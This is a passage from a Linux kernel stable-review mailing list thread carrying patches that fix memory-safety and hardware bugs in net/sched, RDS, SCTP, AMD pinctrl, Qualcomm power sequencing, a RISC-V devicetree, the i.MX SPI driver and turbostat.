241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:39 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Jérémy Jean, Simon Horman,
Paolo Abeni
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Jérémy Jean <Jeremy.Jean@oss.cyber.gouv.fr>
commit 7b16eb911091aae237a8673da94e4dfb9cd21d54 upstream.
__tcf_action_put() decrements the reference count before decrementing the
binding count. Another thread can free the action between these operations,
causing the binding-count update to access freed memory. KASAN reports it
as:
BUG: KASAN: slab-use-after-free in __tcf_action_put+0x327/0x340
Write of size 4 at addr ff11000000d46420 by task tc-put-pause/64
Hold the action IDR mutex across both counter updates and IDR removal,
keeping cleanup outside the lock.
Fixes: 16af6067392c ("net: sched: implement reference counted action release")
Cc: stable@vger.kernel.org
Assisted-by: LLM
Signed-off-by: Jérémy Jean <Jeremy.Jean@oss.cyber.gouv.fr>
Reviewed-by: Simon Horman <horms@kernel.org>
Link: https://patch.msgid.link/20261008181348.527035-2-Jeremy.Jean@oss.cyber.gouv.fr
Signed-off-by: Paolo Abeni <pabeni@redhat.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
net/sched/act_api.c | 11 +++++------
1 file changed, 5 insertions(+), 6 deletions(-)
--- a/net/sched/act_api.c
+++ b/net/sched/act_api.c
@@ -372,9 +372,10 @@ static int __tcf_action_put(struct tc_ac
{
struct tcf_idrinfo *idrinfo = p->idrinfo;
- if (refcount_dec_and_mutex_lock(&p->tcfa_refcnt, &idrinfo->lock)) {
- if (bind)
- atomic_dec(&p->tcfa_bindcnt);
+ mutex_lock(&idrinfo->lock);
+ if (bind)
+ atomic_dec(&p->tcfa_bindcnt);
+ if (refcount_dec_and_test(&p->tcfa_refcnt)) {
idr_remove(&idrinfo->action_idr, p->tcfa_index);
mutex_unlock(&idrinfo->lock);
@@ -382,9 +383,7 @@ static int __tcf_action_put(struct tc_ac
return 1;
}
- if (bind)
- atomic_dec(&p->tcfa_bindcnt);
-
+ mutex_unlock(&idrinfo->lock);
return 0;
}
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 125/242] net: rds: fix uninitialized trans dereference in CM event handler
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (122 preceding siblings ...)
2026-10-23 16:39 ` [PATCH 7.2 124/242] net/sched: fix use-after-free in __tcf_action_put() Greg Kroah-Hartman
@ 2026-10-23 16:39 ` Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 126/242] pinctrl: amd: Clear S4 wake bits when firmware has _AEI Greg Kroah-Hartman
` (117 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:39 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, TencentOS Corvus AI, Aohan Mei,
Allison Henderson, Paolo Abeni
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Aohan Mei <henrymei@tencent.com>
commit 492ba6ac1b1ffb8a06ff52db0825c1af2cdb28c8 upstream.
rds_rdma_cm_event_handler_cmn() assigns trans only when the RDMA
device is an InfiniBand CA (RDMA_NODE_IB_CA). On any other device
type, e.g. an iWARP RNIC such as siw, trans stays uninitialized, but
the event switch dereferences it: unconditionally in the
RDMA_CM_EVENT_CONNECT_REQUEST case via trans->cm_handle_connect(),
and (with a connection context) in the ROUTE_RESOLVED and
ESTABLISHED cases.
An RDS listener on an iWARP device therefore crashes the kernel as
soon as a connect request arrives: with CONFIG_INIT_STACK_ALL_ZERO
the wild load becomes a NULL dereference at offset 0xa0
(&trans->cm_handle_connect) in the iw_cm_wq workqueue.
GCC masks the bug in default builds by folding the uninitialized
load into &rds_ib_transport; Clang-built kernels take the real
uninitialized path and oops.
The active side can land on a non-IB device too: the id that
rds_ib_conn_path_connect() creates is not restricted to a node type,
so rdma_resolve_addr() binds it to whichever device serves the local
address, and an iWARP RNIC on the same netdev qualifies. The crash
there is different: resolving a route on an iWARP id never fills in
cm_id->route.path_rec, and the ROUTE_RESOLVED case writes
path_rec[0].sl before it calls into the transport.
The iWARP transport was dropped long ago and IB is the only
transport left, so make that explicit: initialize trans to
&rds_ib_transport at declaration, drop the conditional assignment,
reject a connect request that arrives on a non-IB device, and drop a
connection whose address resolved to one instead of resolving a
route on it. The rejection is limited to RDMA_CM_EVENT_CONNECT_REQUEST
on purpose: a non-zero return from the handler makes rdma_cm destroy
the id the event was delivered on, which is right for the request's
freshly created id but would free a connection id that RDS still owns
for any other event. On the active side the id stays ic->i_cm_id and
the connection's shutdown destroys it, so that case returns 0.
Fixes: dcdede0406d3 ("RDS: Drop stale iWARP RDMA transport")
Reported-by: TencentOS Corvus AI <corvus@tencent.com>
Link: https://lore.kernel.org/netdev/20260824111701.2979194-1-ljp1205831794@gmail.com/
Link: https://lore.kernel.org/netdev/20260825021223.3483044-1-ljp1205831794@gmail.com/
Cc: stable@vger.kernel.org
Assisted-by: CodeBuddy:Kimi-K3
Signed-off-by: Aohan Mei <henrymei@tencent.com>
[achender: reject only on RDMA_CM_EVENT_CONNECT_REQUEST instead of
bailing out for every event on a non-IB device, so that rdma_cm does
not destroy connection ids RDS still tracks; drop a connection whose
address resolved to a non-IB device before a route is resolved on it;
changelog adjusted]
Assisted-by: LLM
Signed-off-by: Allison Henderson <achender@kernel.org>
Link: https://patch.msgid.link/20261003163408.250568-2-achender@kernel.org
Signed-off-by: Paolo Abeni <pabeni@redhat.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
net/rds/rdma_transport.c | 26 ++++++++++++++++++++++----
1 file changed, 22 insertions(+), 4 deletions(-)
--- a/net/rds/rdma_transport.c
+++ b/net/rds/rdma_transport.c
@@ -52,7 +52,7 @@ static int rds_rdma_cm_event_handler_cmn
{
/* this can be null in the listening path */
struct rds_connection *conn = cm_id->context;
- struct rds_transport *trans;
+ struct rds_transport *trans = &rds_ib_transport;
int ret = 0;
int *err;
u8 len;
@@ -60,9 +60,6 @@ static int rds_rdma_cm_event_handler_cmn
rdsdebug("conn %p id %p handling event %u (%s)\n", conn, cm_id,
event->event, rdma_event_msg(event->event));
- if (cm_id->device->node_type == RDMA_NODE_IB_CA)
- trans = &rds_ib_transport;
-
/* Prevent shutdown from tearing down the connection
* while we're executing. */
if (conn) {
@@ -82,11 +79,32 @@ static int rds_rdma_cm_event_handler_cmn
switch (event->event) {
case RDMA_CM_EVENT_CONNECT_REQUEST:
+ /* Only the IB transport is supported, but RDS listens on
+ * every RDMA device: reject a request that arrived on any
+ * other kind. A non-zero return has rdma_cm destroy the
+ * request's id, which is what we want here and only here.
+ */
+ if (cm_id->device->node_type != RDMA_NODE_IB_CA) {
+ ret = 1;
+ break;
+ }
ret = trans->cm_handle_connect(cm_id, event, isv6);
break;
case RDMA_CM_EVENT_ADDR_RESOLVED:
if (conn) {
+ /* The address resolved to a device RDS has no
+ * transport for. Do not go on to resolve a route:
+ * an iWARP route leaves cm_id->route.path_rec
+ * unset, which the ROUTE_RESOLVED case below
+ * dereferences. Drop the connection instead; the
+ * id is still ic->i_cm_id, so return 0 and let the
+ * shutdown destroy it.
+ */
+ if (cm_id->device->node_type != RDMA_NODE_IB_CA) {
+ rds_conn_drop(conn);
+ break;
+ }
rdma_set_service_type(cm_id, conn->c_tos);
rdma_set_min_rnr_timer(cm_id, IB_RNR_TIMER_000_32);
ret = rdma_resolve_route(cm_id,
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 126/242] pinctrl: amd: Clear S4 wake bits when firmware has _AEI
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (123 preceding siblings ...)
2026-10-23 16:39 ` [PATCH 7.2 125/242] net: rds: fix uninitialized trans dereference in CM event handler Greg Kroah-Hartman
@ 2026-10-23 16:39 ` Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 127/242] power: sequencing: qcom-wcn: power off WLAN at probe Greg Kroah-Hartman
` (116 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:39 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Olzhas Marat, Shyam Sundar S K,
Mario Limonciello, Linus Walleij
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Mario Limonciello <mario.limonciello@amd.com>
commit 1cca81a683da7f0ef2fbaf34442376044cbbad22 upstream.
Commit ffe8a0c6b552 ("pinctrl-amd: Don't clear S4 wake bits at probe")
preserves firmware-programmed S4 wake sources because some PCIe devices
rely on them for Wake-on-LAN. The system that motivated that change does
not expose ACPI GPIO events through _AEI.
On a Chuwi CoreBook Plus, firmware exposes _AEI but also leaves the S4/S5
wake bit set for GPIO 24. This causes the machine to power back on
immediately after shutdown even though Wake-on-LAN is not enabled.
GPIO register dumps show that the only relevant difference is bit 15 on
GPIO 24. Clearing that bit makes the machine remain off. GPIO 24 is not
itself listed in _AEI, so _AEI is not a per-pin indication of which pins
the OS manages; it is a platform level signal of which wake model the
firmware follows.
Use that signal to decide what to clear. Continue clearing S0i3/S3 bits on
every system. Clear S4 bits when firmware exposes _AEI, indicating that the
platform hands GPIO events to the OS, but preserve S4 bits when _AEI is
absent so that firmware-programmed sources such as PCIe PME that bypass the
GPIO IRQ wake API keep working.
A platform that exposes _AEI for some pins while routing a wake capable
device through a raw GPIO not listed in _AEI would lose that wake source
unless firmware re-arms it during the sleep transition. No such system has
been reported.
Fixes: ffe8a0c6b552 ("pinctrl-amd: Don't clear S4 wake bits at probe")
Reported-by: Olzhas Marat <marat.olzhas@gmail.com>
Closes: https://bugzilla.kernel.org/show_bug.cgi?id=222041
Cc: stable@vger.kernel.org
Tested-by: Olzhas Marat <marat.olzhas@gmail.com>
Reviewed-by: Shyam Sundar S K <Shyam-sundar.S-k@amd.com>
Signed-off-by: Mario Limonciello <mario.limonciello@amd.com>
Signed-off-by: Linus Walleij <linusw@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/pinctrl/pinctrl-amd.c | 9 +++++++++
1 file changed, 9 insertions(+)
--- a/drivers/pinctrl/pinctrl-amd.c
+++ b/drivers/pinctrl/pinctrl-amd.c
@@ -886,6 +886,15 @@ static void amd_gpio_irq_init(struct amd
mask = BIT(WAKE_CNTRL_OFF_S0I3) | BIT(WAKE_CNTRL_OFF_S3);
+#ifdef CONFIG_ACPI
+ /*
+ * Platforms without _AEI leave GPIO wake sources to firmware, so
+ * preserve their S4 wake bits.
+ */
+ if (acpi_has_method(ACPI_HANDLE(&gpio_dev->pdev->dev), "_AEI"))
+ mask |= BIT(WAKE_CNTRL_OFF_S4);
+#endif
+
for (i = 0; i < desc->npins; i++) {
int pin = desc->pins[i].number;
const struct pin_desc *pd = pin_desc_get(gpio_dev->pctrl, pin);
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 127/242] power: sequencing: qcom-wcn: power off WLAN at probe
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (124 preceding siblings ...)
2026-10-23 16:39 ` [PATCH 7.2 126/242] pinctrl: amd: Clear S4 wake bits when firmware has _AEI Greg Kroah-Hartman
@ 2026-10-23 16:39 ` Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 128/242] riscv: dts: microchip: beaglev-fire: remove double definition of gpio interrupts Greg Kroah-Hartman
` (115 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:39 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, François Roux, Dale Whinham,
Bartosz Golaszewski
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: François Roux <franzelfranzel@gmail.com>
commit dbd674ccf30f66f5eccf637964a93910df8dbf84 upstream.
The WLAN enable GPIO is requested with GPIOD_ASIS and then kept at its
current level, so that a WLAN module left powered on by the firmware is
not switched off. The FIXME explains why: toggling it would take the
PCIe link down, and the controller driver could not recover from that.
That reasoning held while the PCIe link was trained before the
sequencer probed. Since commit b921aa3f8dec ("PCI/pwrctrl: Switch to
pwrctrl create, power on/off, destroy APIs"), qcom_pcie_host_init()
powers the endpoint through pwrctrl before it starts link training, and
defers until the pwrctrl driver is bound. That driver cannot bind
before this sequencer has probed. Power-on therefore always comes
before link training, and keeping the firmware state is now harmful.
On the Microsoft Surface Pro 11 (X1E80100), the WCN7850 sits on a
PCIe port without a PERST# GPIO. While pci-pwrctrl-pwrseq is not yet
bound, the host init is deferred about ten times, and each attempt
powers the PHY and controller back down. The later power-on only sets
a GPIO that is already high, so the chip is never reset and the link
never comes up:
qcom-pcie 1c08000.pcie: Device found, but not active
The endpoint is not enumerated and ath12k never probes. Bluetooth on
the same chip fails too ("QCA Failed to send TLV segment (-110)").
Request the GPIO as GPIOD_OUT_LOW. The chip is then off when the
sequencer probes, and pwrctrl powers it up cleanly right before link
training. Drop the FIXME and the code that preserved the firmware
state.
Tested on a Surface Pro 11:
- b921aa3f8dec plus a one-line version of this change: endpoint
enumerated at 2.4 s, ath12k and Bluetooth working.
- next-20260929 plus this patch: "PCIe Gen.3 x2 link up" at 3.4 s,
ath12k and Bluetooth working, Wi-Fi connected.
Without the change, neither kernel enumerates the endpoint.
The culprit was found by bisecting v6.17..v7.1, with the DTB and
.config held constant.
Fixes: b921aa3f8dec ("PCI/pwrctrl: Switch to pwrctrl create, power on/off, destroy APIs")
Closes: https://lore.kernel.org/all/CAPjyS8dY0Q_o3XmFjuKZZsjhzhoSNL+ZGJtw5cQt8HiV3sUtxA@mail.gmail.com/
Cc: stable@vger.kernel.org
Assisted-by: LLM
Signed-off-by: François Roux <franzelfranzel@gmail.com>
Tested-by: Dale Whinham <daleyo@gmail.com>
Link: https://patch.msgid.link/20261004165124.4277-1-franzelfranzel@gmail.com
Signed-off-by: Bartosz Golaszewski <bartosz.golaszewski@oss.qualcomm.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/power/sequencing/pwrseq-qcom-wcn.c | 16 +---------------
1 file changed, 1 insertion(+), 15 deletions(-)
diff --git a/drivers/power/sequencing/pwrseq-qcom-wcn.c b/drivers/power/sequencing/pwrseq-qcom-wcn.c
index d41793e1fcd9..34146d6372f3 100644
--- a/drivers/power/sequencing/pwrseq-qcom-wcn.c
+++ b/drivers/power/sequencing/pwrseq-qcom-wcn.c
@@ -496,15 +496,8 @@ static int pwrseq_qcom_wcn_probe(struct platform_device *pdev)
return dev_err_probe(dev, PTR_ERR(ctx->bt_gpio),
"Failed to get the Bluetooth enable GPIO\n");
- /*
- * FIXME: This should actually be GPIOD_OUT_LOW, but doing so would
- * cause the WLAN power to be toggled, resulting in PCIe link down.
- * Since the PCIe controller driver is not handling link down currently,
- * the device becomes unusable. So we need to keep this workaround until
- * the link down handling is implemented in the controller driver.
- */
ctx->wlan_gpio = devm_gpiod_get_optional(dev, "wlan-enable",
- GPIOD_ASIS);
+ GPIOD_OUT_LOW);
if (IS_ERR(ctx->wlan_gpio))
return dev_err_probe(dev, PTR_ERR(ctx->wlan_gpio),
"Failed to get the WLAN enable GPIO\n");
@@ -515,13 +508,6 @@ static int pwrseq_qcom_wcn_probe(struct platform_device *pdev)
return dev_err_probe(dev, PTR_ERR(ctx->xo_clk_gpio),
"Failed to get the XO_CLK GPIO\n");
- /*
- * Set direction to output but keep the current value in order to not
- * disable the WLAN module accidentally if it's already powered on.
- */
- gpiod_direction_output(ctx->wlan_gpio,
- gpiod_get_value_cansleep(ctx->wlan_gpio));
-
ctx->clk = devm_clk_get_optional(dev, NULL);
if (IS_ERR(ctx->clk))
return dev_err_probe(dev, PTR_ERR(ctx->clk),
--
2.56.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 128/242] riscv: dts: microchip: beaglev-fire: remove double definition of gpio interrupts
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (125 preceding siblings ...)
2026-10-23 16:39 ` [PATCH 7.2 127/242] power: sequencing: qcom-wcn: power off WLAN at probe Greg Kroah-Hartman
@ 2026-10-23 16:39 ` Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 129/242] sctp: revalidate output stream after association connect wait Greg Kroah-Hartman
` (114 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:39 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Conor Dooley
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Conor Dooley <conor.dooley@microchip.com>
commit 0f70fd6f4c1d6c1f2ea298d8dd07c4a4d5dff9af upstream.
When the irq-mux and its interrupt-map were added to the mpfs
devicetree, the gpio interrupts became fixed at the SoC level rather
than dependant on the design - the interrupt-map is now what varies.
The beaglev-fire should have had its dts copy of the interrupts removed
but did not. As a result, the mcp3564 driver does not probe, because
even though it doesn't use the interrupt at present, the SPI core still
looks it up. This lookup fails because the second copy of the interrupts
property doesn't resolve to something valid when passed via the
interrupt-map. Remove the second/incorrect set of interrupts properties.
Fixes: b0258f69f1e0 ("riscv: dts: microchip: update mpfs gpio interrupts to better match the SoC")
CC: stable@vger.kernel.org
Signed-off-by: Conor Dooley <conor.dooley@microchip.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
.../boot/dts/microchip/mpfs-beaglev-fire.dts | 18 ------------------
1 file changed, 18 deletions(-)
diff --git a/arch/riscv/boot/dts/microchip/mpfs-beaglev-fire.dts b/arch/riscv/boot/dts/microchip/mpfs-beaglev-fire.dts
index 6d7037c9528d..a09371d9d064 100644
--- a/arch/riscv/boot/dts/microchip/mpfs-beaglev-fire.dts
+++ b/arch/riscv/boot/dts/microchip/mpfs-beaglev-fire.dts
@@ -90,10 +90,6 @@ regulator-1v8-syzygy {
};
&gpio0 {
- interrupts = <13>, <14>, <15>, <16>,
- <17>, <18>, <19>, <20>,
- <21>, <22>, <23>, <24>,
- <25>, <26>;
ngpios = <14>;
gpio-line-names = "", "", "", "", "", "", "",
"", "", "", "", "", "SD_CARD_CS", "USER_BUTTON";
@@ -101,12 +97,6 @@ &gpio0 {
};
&gpio1 {
- interrupts = <27>, <28>, <29>, <30>,
- <31>, <32>, <33>, <34>,
- <35>, <36>, <37>, <38>,
- <39>, <40>, <41>, <42>,
- <43>, <44>, <45>, <46>,
- <47>, <48>, <49>, <50>;
ngpios = <24>;
gpio-line-names = "", "", "", "", "", "", "", "", "", "",
"", "", "", "", "", "", "", "", "", "",
@@ -115,14 +105,6 @@ &gpio1 {
};
&gpio2 {
- interrupts = <53>, <53>, <53>, <53>,
- <53>, <53>, <53>, <53>,
- <53>, <53>, <53>, <53>,
- <53>, <53>, <53>, <53>,
- <53>, <53>, <53>, <53>,
- <53>, <53>, <53>, <53>,
- <53>, <53>, <53>, <53>,
- <53>, <53>, <53>, <53>;
ngpios = <32>;
gpio-line-names = "P8_PIN3_USER_LED_0", "P8_PIN4_USER_LED_1", "P8_PIN5_USER_LED_2",
"P8_PIN6_USER_LED_3", "P8_PIN7_USER_LED_4", "P8_PIN8_USER_LED_5",
--
2.56.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 129/242] sctp: revalidate output stream after association connect wait
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (126 preceding siblings ...)
2026-10-23 16:39 ` [PATCH 7.2 128/242] riscv: dts: microchip: beaglev-fire: remove double definition of gpio interrupts Greg Kroah-Hartman
@ 2026-10-23 16:39 ` Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 130/242] spi: imx: fix slab corruption from undersized DMA bounce buffers Greg Kroah-Hartman
` (113 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:39 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Daehyeon Ko, Xin Long, Paolo Abeni
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Daehyeon Ko <4ncienth@gmail.com>
commit b7ad72414c673ce1fa1f463e807cd4f34f8be9bf upstream.
When message interleaving is enabled, the first send waits for association
establishment before building its data chunks. The wait drops the socket
lock, and handshake processing can reduce the output stream count to the
peer-advertised inbound stream count. sctp_stream_init() then frees the
extension of every removed stream.
The sender resumes with the stream that it checked before the wait. If the
peer removed that stream, sctp_outq_tail() later dereferences its NULL
extension. Fatal-oops policies then panic the host.
KASAN: null-ptr-deref in range [0x38-0x3f]
RIP: sctp_outq_tail+0x49e/0xaa0
Call Trace:
sctp_primitive_SEND
sctp_sendmsg_to_asoc
sctp_sendmsg
A range check alone is insufficient. Stream reconfiguration can grow the
output count again while the lock is released without recreating extensions
freed by the earlier shrink. The stream can then be in range while its
extension remains NULL. The send-buffer wait has the same issue.
Factor the range and extension checks into a helper and repeat both after
each send-path wait that drops the socket lock. Once the lock is
reacquired, the validation remains stable through data creation and
queueing.
If validation fails after the connect wait, the auto-created association is
already established. Return ESRCH so the existing caller path keeps it
under state-machine ownership instead of freeing it directly, which would
leave protocol, counter and socket state inconsistent.
Fixes: 668c9beb9020 ("sctp: implement assign_number for sctp_stream_interleave")
Cc: stable@vger.kernel.org
Assisted-by: LLM
Signed-off-by: Daehyeon Ko <4ncienth@gmail.com>
Acked-by: Xin Long <lucien.xin@gmail.com>
Link: https://patch.msgid.link/20261007035739.3472432-1-4ncienth@gmail.com
Signed-off-by: Paolo Abeni <pabeni@redhat.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
net/sctp/socket.c | 33 +++++++++++++++++++++------------
1 file changed, 21 insertions(+), 12 deletions(-)
--- a/net/sctp/socket.c
+++ b/net/sctp/socket.c
@@ -1786,6 +1786,18 @@ static int sctp_sendmsg_check_sflags(str
return 1;
}
+static int sctp_sendmsg_check_stream(struct sctp_association *asoc,
+ struct sctp_sndrcvinfo *sinfo)
+{
+ if (unlikely(sinfo->sinfo_stream >= asoc->stream.outcnt))
+ return -EINVAL;
+
+ if (unlikely(!SCTP_SO(&asoc->stream, sinfo->sinfo_stream)->ext))
+ return sctp_stream_init_ext(&asoc->stream, sinfo->sinfo_stream);
+
+ return 0;
+}
+
static int sctp_sendmsg_to_asoc(struct sctp_association *asoc,
struct msghdr *msg, size_t msg_len,
struct sctp_transport *transport,
@@ -1800,16 +1812,9 @@ static int sctp_sendmsg_to_asoc(struct s
long timeo;
int err;
- if (sinfo->sinfo_stream >= asoc->stream.outcnt) {
- err = -EINVAL;
+ err = sctp_sendmsg_check_stream(asoc, sinfo);
+ if (err)
goto err;
- }
-
- if (unlikely(!SCTP_SO(&asoc->stream, sinfo->sinfo_stream)->ext)) {
- err = sctp_stream_init_ext(&asoc->stream, sinfo->sinfo_stream);
- if (err)
- goto err;
- }
if (sp->disable_fragments && msg_len > asoc->frag_point) {
err = -EMSGSIZE;
@@ -1830,10 +1835,9 @@ static int sctp_sendmsg_to_asoc(struct s
err = sctp_wait_for_sndbuf(asoc, transport, &timeo, msg_len);
if (err)
goto err;
- if (unlikely(sinfo->sinfo_stream >= asoc->stream.outcnt)) {
- err = -EINVAL;
+ err = sctp_sendmsg_check_stream(asoc, sinfo);
+ if (err)
goto err;
- }
}
if (sctp_state(asoc, CLOSED)) {
@@ -1848,6 +1852,11 @@ static int sctp_sendmsg_to_asoc(struct s
err = -ESRCH;
goto err;
}
+ err = sctp_sendmsg_check_stream(asoc, sinfo);
+ if (err) {
+ err = -ESRCH;
+ goto err;
+ }
} else {
wait_connect = true;
}
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 130/242] spi: imx: fix slab corruption from undersized DMA bounce buffers
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (127 preceding siblings ...)
2026-10-23 16:39 ` [PATCH 7.2 129/242] sctp: revalidate output stream after association connect wait Greg Kroah-Hartman
@ 2026-10-23 16:39 ` Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 131/242] tools/power turbostat: Read complete CPU lists Greg Kroah-Hartman
` (112 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:39 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Richard Leitner, Mark Brown
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Richard Leitner <richard.leitner@linux.dev>
commit 59eb22641f0c526dd064390b11cff99ae87c2858 upstream.
Since commit faa8e404ad8e ("spi: imx: support dynamic burst length for
ECSPI DMA mode"), the driver allocates its private DMA TX/RX buffers
with kzalloc(dma_len), where dma_len is only rounded up to 4 bytes, but
maps, syncs and unmaps them with DMA_CACHE_ALIGNED_LEN(dma_len), i.e.
rounded up to the cache line size. As a result, the DMA API operates on
memory beyond the end of the allocation.
This was observed on a custom i.MX8MP platform with an mcp251xfd CAN
controller under heavy RPMSG load, as a series of refcount_t warnings
triggered from rpmsg_recv_done() in virtio_rpmsg_bus:
refcount_t: addition on 0; use-after-free.
refcount_t: underflow; use-after-free.
refcount_t: saturated; leaking memory.
Leading finally to an "Unable to handle kernel paging request" oops.
Reproducing this problem took between 30 minutes and roughly 30 hours
under the same workload.
Hardware watchpoints on the refcount of a struct rpmsg_endpoint showed
it was overwritten from 2 to 1 by __pi_memcpy_generic() in the
irq/155-spi2.0 thread. Additionally it was found that a "normal"
rpmsg_recv_done() took 11µs +/-2µs from its kref_get to kref_put. In
the error case the same sequence took about 215µs +/-10µs. Based on
this, an LLM was used to identify the size mismatch fixed here.
Allocate the buffers with DMA_CACHE_ALIGNED_LEN(dma_len) so they cover
the full mapped length, and use the same length for
dma_sync_single_for_cpu() to stay consistent with map and unmap.
With this patch applied, the same workload ran for more than 200 hours
without the problem reproducing.
Assisted-by: LLM
Fixes: faa8e404ad8e ("spi: imx: support dynamic burst length for ECSPI DMA mode")
Cc: stable@vger.kernel.org
Signed-off-by: Richard Leitner <richard.leitner@linux.dev>
Link: https://patch.msgid.link/20261015-fix-spi-imx-dma-v1-1-e28259671392@linux.dev
Signed-off-by: Mark Brown <broonie@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/spi/spi-imx.c | 9 ++++++---
1 file changed, 6 insertions(+), 3 deletions(-)
--- a/drivers/spi/spi-imx.c
+++ b/drivers/spi/spi-imx.c
@@ -1578,11 +1578,13 @@ static int spi_imx_dma_tx_data_handle(st
dma_data->dma_len = ALIGN(dma_data->data_len, BYTES_PER_32BITS_WORD);
}
- dma_data->dma_tx_buf = kzalloc(dma_data->dma_len, GFP_KERNEL);
+ dma_data->dma_tx_buf = kzalloc(DMA_CACHE_ALIGNED_LEN(dma_data->dma_len),
+ GFP_KERNEL);
if (!dma_data->dma_tx_buf)
return -ENOMEM;
- dma_data->dma_rx_buf = kzalloc(dma_data->dma_len, GFP_KERNEL);
+ dma_data->dma_rx_buf = kzalloc(DMA_CACHE_ALIGNED_LEN(dma_data->dma_len),
+ GFP_KERNEL);
if (!dma_data->dma_rx_buf) {
kfree(dma_data->dma_tx_buf);
return -ENOMEM;
@@ -1920,7 +1922,8 @@ static int spi_imx_dma_package_transfer(
/* Trim the DMA RX buffer and copy the actual data to rx_buf */
dma_sync_single_for_cpu(controller->dma_rx->device->dev, dma_data->dma_rx_addr,
- dma_data->dma_len, DMA_FROM_DEVICE);
+ DMA_CACHE_ALIGNED_LEN(dma_data->dma_len),
+ DMA_FROM_DEVICE);
spi_imx_dma_rx_data_handle(spi_imx, dma_data, transfer->rx_buf + spi_imx->rx_offset,
word_delay);
spi_imx->rx_offset += dma_data->data_len;
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 131/242] tools/power turbostat: Read complete CPU lists
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (128 preceding siblings ...)
2026-10-23 16:39 ` [PATCH 7.2 130/242] spi: imx: fix slab corruption from undersized DMA bounce buffers Greg Kroah-Hartman
@ 2026-10-23 16:39 ` Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 132/242] tools: gpio: fix building from the top level with O= Greg Kroah-Hartman
` (111 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:39 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Ali Ahmet Memis, Len Brown
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Ali Ahmet Memis <ali@iusegentoo.com>
commit c24362650f7a8573dc9a9991a034b8500af8eb19 upstream.
CPU_SUBSET_MAXCPUS accepts CPU IDs through 8191, but the sysfs and
cgroup CPU-list readers stop at 1024 bytes. A fragmented cpuset or
hybrid PMU CPU list can exceed that size and be truncated.
initialize_cpu_set_from_sysfs() can also pass a full, non-NUL-terminated
buffer to parse_cpu_str(), causing an out-of-bounds read.
Additionally, initialize_cpu_set_from_sysfs() returns with the file
still open on success. It is now called once per CPU for
thread_siblings_list, so large systems can leak thousands of descriptors
during topology discovery.
Use getline() so both readers receive a complete, NUL-terminated line.
Close and free the sysfs CPU-list resources on every path, and report
malformed input from the correct buffer.
Fixes: eb187540d13a ("tools/power turbostat: Increase CPU_SUBSET_MAXCPUS to 8192")
Fixes: 58839fdbd441 ("tools/power turbostat: Process HT siblings in CPU order")
Cc: stable@vger.kernel.org
Signed-off-by: Ali Ahmet Memis <ali@iusegentoo.com>
